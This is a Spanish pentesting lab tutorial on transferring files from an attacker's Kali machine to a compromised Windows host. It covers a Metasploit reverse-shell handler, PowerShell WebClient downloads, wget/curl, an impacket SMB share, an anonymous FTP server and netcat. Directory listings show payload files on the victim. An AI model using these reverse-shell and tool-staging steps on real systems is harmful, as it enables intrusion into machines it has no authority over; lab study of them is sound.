Transferencia de ficheros

Con esta tecnica de pasarnos ficheros a traves de la red tendremos varias formas de hacerlo, por ejemplo una de ellas es tanto si tenemos un acceso a la maquina victima tanto logico como fisico teniendo una interfaz grafica podremos interactuar con los componentes graficos de la maquina victima, pero si tenemos una shell reversa teniendo acceso solo desde terminal tendremos que hacerlo de otras formas.

Teniendo estos 2 escenarios vamos a ver como seria la transferencia de archivos en dichos escenarios.

Teniendo nuestro kali como maquina atacante y el WS02 (Windows) como maquina victima, vamos a crearnos una conexion reversa a la maquina WS02 mediante metasploit con el meterpreter, pero no utilizaremos meterpreter utilizaremos la shell de Windows.

msfconsole -q

Configuramos la escucha de la siguiente forma:

use multi/handler
set LHOST 192.168.5.205
set LPORT 7777
set PAYLOAD windows/meterpreter/reverse_tcp
run

Ejecutamos el binario para que nos cree la shell desde el Windows y veremos lo siguiente en metasploit:

[*] Started reverse TCP handler on 192.168.5.205:7777 
[*] Sending stage (177734 bytes) to 192.168.5.209
[*] Meterpreter session 1 opened (192.168.5.205:7777 -> 192.168.5.209:61133) at 2025-02-12 05:54:49 -0500

meterpreter >

Ya obtendremos la shell, ahora vamos a poner en practica la transferencia de archivos por la red.

Antes para no tener el prompt de meterpreter vamos a utilizar la shell de Windows poniendo el comando shell y veremos esto:

meterpreter > shell
Process 5648 created.
Channel 1 created.
Microsoft Windows [Versi�n 10.0.19045.3803]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\empleado2\Desktop>

Ahora en kali vamos a crear un directorio donde vayan a estar los ficheros que queremos transferir:

mkdir transfer
cd transfer/
echo "texto de prueba" > test.txt

Python Server

Ahora la primera forma de transferir un archivo seria utilizando python creando un servidor del mismo de forma temporal y pasarnoslo a traves de la red.

Python2

python2 -m SimpleHTTPServer

Python3

python3 -m http.server

Si seguidamente le indicamos un numero estaremos especificando el puerto en el que queremos abrir el servidor, pero si lo dejamos por defecto se abrira en el puerto 8000, lo mismo para el python2.

Ahora teniendo el servidor abierto en la misma red que la maquina victima, si nos vamos al WS02 con interfaz grafica, abriremos un PowerShell y ejecutaremos el siguiente comando:

(New-Object System.NET.WebClient).DownloadFile('http://192.168.5.205:8000/test.txt', 'C:\Users\empleado2\Desktop\test.txt')

Veremos lo siguiente:

Vemos que efectivamente se nos guardo en el escritorio, ya que le indicamos con la segunda ruta que nos lo guarde con ese nombre y en esa ubicacion.

En el servidor de python veremos algo asi:

192.168.5.209 - - [12/Feb/2025 06:05:24] "GET /test.txt HTTP/1.1" 200 -

Vemos que la maquina WS02 realizo una peticion a este server y que se descargo el archivo satisfactoriamente con un 200 Ok.

Ahora vamos a eliminar el archivo test.txt de la maquina WS02 y vamos a repetir la tecnica pero desde una terminal con una shell remota que tenemos en metasploit.

Como en la shell que hemos obtenido reversa tendremos un CMD tendremos que invocar un PowerShell de la siguiente forma para pasarnos el archivo:

powershell -c "(New-Object System.NET.WebClient).DownloadFile('http://192.168.5.205:8000/test.txt', 'C:\Users\empleado2\Desktop\test.txt')"

Info:

powershell -c "(New-Object System.NET.WebClient).DownloadFile('http://192.168.5.205:8000/test.txt', 'C:\Users\empleado2\Desktop\test.txt')"

C:\Users\empleado2\Desktop>dir
dir
 El volumen de la unidad C no tiene etiqueta.
 El n�mero de serie del volumen es: EC04-B2C8

 Directorio de C:\Users\empleado2\Desktop

12/02/2025  12:14    <DIR>          .
12/02/2025  12:14    <DIR>          ..
05/01/2025  19:09             2.350 Microsoft Edge.lnk
05/01/2025  11:59         1.174.016 Microsoft.ActiveDirectory.Management.dll
11/02/2025  10:27    <DIR>          ncat-portable-5.59BETA1
07/02/2025  11:17             5.120 payload.dll
08/02/2025  13:07         2.035.665 Powerfull-fud.exe
12/02/2025  12:14                16 test.txt
06/02/2025  10:07             7.680 testshell.exe
               6 archivos      3.224.847 bytes
               3 dirs  21.116.174.336 bytes libres

C:\Users\empleado2\Desktop>type test.txt
type test.txt
texto de prueba

Y como vemos funciono correctamente.

Con una maquina linux se podria hacer igual pero con otros comando y herramientas, por ejemplo una muy utilizada seria con curl o con wget:

wget http://192.168.5.205:8000/test.txt

Y con curl:

curl -O http://192.168.5.205:8000/test.txt

SMB Server

Ahora si nos lo queremos pasar abriendo un servidor de smb desde kali podremos hacerlo de la siguiente forma:

impacket-smbserver -smb2support test .

Donde puse test es el nombre de la carpeta compartida que vamos a compartir, puede ser cualquier nombre y el . le indicamos en que directorio queremos compartir el servidor, en mi caso en este mismo directorio.

Info:

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed

Ahora esto ya esta a la escucha y habremos creado un server de smb temporal.

Ahora si nos vamos a la maquina WS02 y tenemos una interfaz grafica, podremos abrir una carpeta y conectarnos de forma remota mediante la direccion IP:

Si pulsamos ENTER veremos la carpeta test:

Si entramos en ella veremos el archivo que estamos compartiendo:

Y con esto ya nos podremos pasar el archivo a la maquina victima desde una interfaz grafica.

Pero si tenemos una shell tendremos que poner lo siguiente:

copy \\192.168.5.205\test\test.txt test.txt

Info:

copy \\192.168.5.205\test\test.txt test.txt
        1 archivo(s) copiado(s).

C:\Users\empleado2\Desktop>dir
dir
 El volumen de la unidad C no tiene etiqueta.
 El n�mero de serie del volumen es: EC04-B2C8

 Directorio de C:\Users\empleado2\Desktop

12/02/2025  12:25    <DIR>          .
12/02/2025  12:25    <DIR>          ..
05/01/2025  19:09             2.350 Microsoft Edge.lnk
05/01/2025  11:59         1.174.016 Microsoft.ActiveDirectory.Management.dll
11/02/2025  10:27    <DIR>          ncat-portable-5.59BETA1
07/02/2025  11:17             5.120 payload.dll
08/02/2025  13:07         2.035.665 Powerfull-fud.exe
12/02/2025  11:58                16 test.txt
06/02/2025  10:07             7.680 testshell.exe
               6 archivos      3.224.847 bytes
               3 dirs  21.112.156.160 bytes libres

C:\Users\empleado2\Desktop>type test.txt
type test.txt
texto de prueba

Y con esto veremos que realizamos la transferencia de forma correcta.

twistd3 Server

Ahora vamos a ver como compartirnos archivos pero en este caso con un servidor FTP, este tiene algunas limitaciones, dependiendo del sistema operativo en el que vayamos a pasarlo o el archivo, pero esta bien conocerla tambien.

twistd3 -n ftp -r .

Con esto estamos creando un servidor FTP con acceso anonimo en el directorio actual.

Info:

2025-02-12T06:28:41-0500 [twisted.scripts._twistd_unix.UnixAppLogger#info] twistd 24.7.0 (/usr/bin/python3 3.12.7) starting up.
2025-02-12T06:28:41-0500 [twisted.scripts._twistd_unix.UnixAppLogger#info] reactor class: twisted.internet.epollreactor.EPollReactor.
2025-02-12T06:28:41-0500 [-] FTPFactory starting on 2121
2025-02-12T06:28:41-0500 [twisted.protocols.ftp.FTPFactory#info] Starting factory <twisted.protocols.ftp.FTPFactory object at 0x7fa95d0bbe30>

Ahora que esta abierto el servidor, si nos vamos a la maquina WS02 con la interfaz grafica, podremos pasarnos el archivo de la siguiente forma:

Abriremos PwerShell:

ftp

Info:

ftp>

Y ahora abriremos una conexion con el servidor que hemos abierto en el kali:

open 192.168.5.205 2121

Info:

Conectado a 192.168.5.205.
220 Twisted 24.7.0 FTP Server
530 Please login with USER and PASS.
Usuario (192.168.5.205:(none)): anonymous
331 Guest login ok, type your email address as password.
Contraseña:
230 Anonymous login ok, access restrictions apply.

Y con esto ya estaremos dentro del servidor temporal que creamos con FTP, ahora si nosotros metemos un comando y no esta permitido el acceso a una red externa de Windows va a requerir privilegios de administrador locales y si no los tenemos sera algo mas limitado, por eso es una tecnica un poco peor, pero pongamos que los tenemos, le tendremos que dar a permitir:

Y si ahora volvemos hacer un dir veremos lo siguiente:

200 PORT OK
125 Data connection already open, starting transfer
-rw-rw-r--   1 kali      kali                    5 Feb 12 11:28 twistd.pid
-rw-rw-r--   1 kali      kali                   16 Feb 12 10:58 test.txt
226 Transfer Complete.
ftp: 153 bytes recibidos en 0.01segundos 10.20a KB/s.

Vemos que esta el archivo test.txt, ahora nos lo descargaremos de la siguiente forma:

get test.txt

Y si salimos con bye y listamos con un dir, veremos que esta el archivo correctamente:

    Directorio: C:\Users\empleado2


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-r---        05/01/2025     19:08                3D Objects
d-r---        05/01/2025     19:08                Contacts
d-r---        12/02/2025     12:26                Desktop
d-r---        05/01/2025     19:08                Documents
d-r---        05/01/2025     19:08                Downloads
d-r---        05/01/2025     19:08                Favorites
d-r---        05/01/2025     19:08                Links
d-r---        05/01/2025     19:08                Music
d-r---        06/01/2025      9:40                OneDrive
d-r---        05/01/2025     19:09                Pictures
d-r---        05/01/2025     19:08                Saved Games
d-r---        05/01/2025     19:08                Searches
d-r---        05/01/2025     19:08                Videos
-a----        12/02/2025     12:35             16 test.txt

En linux seria mas sencillo, con poner este comando:

ftp anonymous@192.168.5.205 2121

Dejamos la contraseña en blanco y veremos que estamos dentro, listamos con un ls:

229 Entering Extended Passive Mode (|||36645|).
125 Data connection already open, starting transfer
-rw-rw-r--   1 kali      kali                    5 Feb 12 11:28 twistd.pid
-rw-rw-r--   1 kali      kali                   16 Feb 12 10:58 test.txt
226 Transfer Complete.

Y ya con el get nos descargariamos el archivo, etc...

Netcat Server

Tambien lo podemos transferir utilizando un servidor de netcat pero esto es menos realista, ya que es muy complicado utilizar esta herramienta en Windows en linux seria mas facil, pero en Windows tendriamos que pasarnos el bianrio de netcat a la maquina y desde ahi ejecutarlo, en una organizacion el firewall puede cortar este tipo de conexiones, por lo que no seria muy recomendable hacerlo, pero si se pudiera seria de la siguiente forma:

Kali

nc 192.168.5.209 4444 -w 3 < test.txt

Windows

.\ncat.exe -lvp 4444 > test.txt

Last updated